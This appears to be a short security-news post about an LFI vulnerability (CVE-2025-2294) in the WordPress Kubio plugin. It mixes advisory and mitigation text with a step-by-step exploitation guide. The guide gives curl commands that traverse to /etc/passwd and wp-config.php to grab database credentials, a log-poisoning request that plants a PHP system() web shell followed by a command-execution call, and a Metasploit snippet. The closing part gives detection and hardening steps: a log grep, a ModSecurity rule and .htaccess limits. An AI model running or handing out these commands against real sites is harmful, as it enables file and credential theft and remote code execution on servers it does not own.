A critical Local File Inclusion (LFI) vulnerability, tracked as CVE-2025-2294, has been discovered in the WordPress Kubio Plugin, which boasts over 90,000+ active installations. This flaw allows attackers to read sensitive files on the server, potentially leading to further exploitation, such as remote code execution (RCE) or credential theft.
Affected Versions:
- Kubio Plugin versions ≤ 2.0.0
Exploit Details:
The vulnerability arises due to improper file path sanitization, enabling attackers to traverse directories and access restricted files (e.g., /etc/passwd, wp-config.php).
You Should Know:
Manual Exploitation Steps (LFI)
1. Identify Vulnerable Endpoint:
curl -s "http://target.com/wp-content/plugins/kubio/page.php?file=../../../../etc/passwd"
If the server returns /etc/passwd, the site is vulnerable.
2. Retrieve WordPress Config (wp-config.php):
curl -s "http://target.com/wp-content/plugins/kubio/page.php?file=../../../../wp-config.php" | grep DB_
3. Log Poisoning (If PHP Logs Are Accessible):
curl -X POST "http://target.com/wp-content/plugins/kubio/page.php?file=../../../../var/log/apache2/access.log" --data "<?php system(\$_GET['cmd']); ?>"
Then execute commands via:
curl "http://target.com/wp-content/plugins/kubio/page.php?file=../../../../var/log/apache2/access.log&cmd=id"
Mitigation Steps:
- Update Kubio Plugin to the latest version.
- Restrict File Access via
.htaccess:<FilesMatch "\.(php|log|ini)$"> Deny from all </FilesMatch>
- Disable Directory Traversal in
php.ini:open_basedir = /var/www/html/
Automated Scanning (Metasploit):
msf6 > use auxiliary/scanner/http/wordpress_kubio_lfi msf6 > set RHOSTS target.com msf6 > run
What Undercode Say:
This LFI flaw highlights the risks of improper input validation in WordPress plugins. System admins should:
– Monitor file inclusion attempts via:
grep "kubio/page.php" /var/log/apache2/access.log | grep "file="
– Use WAF Rules (ModSecurity):
SecRule ARGS_GET:file "@contains ../" "deny,log,msg:'LFI Attempt'"
– Check Active Plugins periodically:
wp plugin list --status=active --allow-root
Expected Output:
A secured WordPress instance with no unauthorized file access and updated plugins.
